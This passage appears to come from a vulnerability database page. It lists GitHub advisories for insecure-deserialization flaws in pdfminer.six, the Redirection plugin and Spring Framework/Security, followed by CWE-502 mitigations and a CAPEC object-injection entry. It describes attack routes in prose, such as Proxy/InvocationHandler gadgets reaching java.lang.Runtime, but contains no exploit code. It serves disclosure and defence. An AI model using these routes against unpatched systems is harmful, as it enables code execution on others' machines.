Vulnerability Scoring System):**\n  - **Base Score:** 7.8 (High)\n  - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n- **OWASP Top 10:**\n  - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n  - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it\u0027s code injection via deserialization)\n\n- **MITRE CWE References:**\n  - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n  - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n- **MITRE ATT\u0026CK Techniques:**\n  - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)\n  - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)",
  "id": "GHSA-f83h-ghpp-7wcc",
  "modified": "2026-02-04T16:49:50Z",
  "published": "2025-11-07T23:17:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-f83h-ghpp-7wcc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70559"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pdfminer/pdfminer.six"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Insecure Deserialization (pickle) in pdfminer.six CMap Loader \u2014 Local Privesc"
}

GHSA-F85Q-26XG-XVQX

Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48
VLAI
Details

Redirection version 2.7.1 contains a Serialisation vulnerability possibly allowing ACE vulnerability in Settings page AJAX that can result in could allow admin to execute arbitrary code in some circumstances. This attack appear to be exploitable via Attacker must have access to admin account. This vulnerability appears to have been fixed in 2.8.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-1000509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-26T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Redirection version 2.7.1 contains a Serialisation vulnerability possibly allowing ACE vulnerability in Settings page AJAX that can result in could allow admin to execute arbitrary code in some circumstances. This attack appear to be exploitable via Attacker must have access to admin account. This vulnerability appears to have been fixed in 2.8.",
  "id": "GHSA-f85q-26xg-xvqx",
  "modified": "2022-05-13T01:48:38Z",
  "published": "2022-05-13T01:48:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000509"
    },
    {
      "type": "WEB",
      "url": "https://advisories.dxw.com/advisories/unserialization-redirection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F866-M9MV-2XR3

Vulnerability from github – Published: 2022-05-14 02:54 – Updated: 2024-03-14 21:21
VLAI
Summary
Spring Framework and Spring Security vulnerable to Deserialization of Untrusted Data
Details

Spring Framework 3.0.0 through 3.0.5, Spring Security 3.0.0 through 3.0.5 and 2.0.0 through 2.0.6, and possibly other versions deserialize objects from untrusted sources, which allows remote attackers to bypass intended security restrictions and execute untrusted code by (1) serializing a java.lang.Proxy instance and using InvocationHandler, or (2) accessing internal AOP interfaces, as demonstrated using deserialization of a DefaultListableBeanFactory instance to execute arbitrary commands via the java.lang.Runtime class.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2011-2894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-13T17:57:50Z",
    "nvd_published_at": "2011-10-04T10:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Spring Framework 3.0.0 through 3.0.5, Spring Security 3.0.0 through 3.0.5 and 2.0.0 through 2.0.6, and possibly other versions deserialize objects from untrusted sources, which allows remote attackers to bypass intended security restrictions and execute untrusted code by (1) serializing a java.lang.Proxy instance and using InvocationHandler, or (2) accessing internal AOP interfaces, as demonstrated using deserialization of a DefaultListableBeanFactory instance to execute arbitrary commands via the java.lang.Runtime class.",
  "id": "GHSA-f866-m9mv-2xr3",
  "modified": "2024-03-14T21:21:36Z",
  "published": "2022-05-14T02:54:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2894"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spring-projects/spring-framework/commit/070a723ef2c886770a063eb9a67f84f74e06edfb"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/69687"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-framework"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20120307233721/http://www.springsource.com/security/cve-2011-2894"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/75263"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/8405"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-1334.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/519593/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/49536"
    },
    {
      "type": "WEB",
      "url": "http://www.springsource.com/security/cve-2011-2894"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Spring Framework and Spring Security vulnerable to Deserialization of Untrusted Data"
}

Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.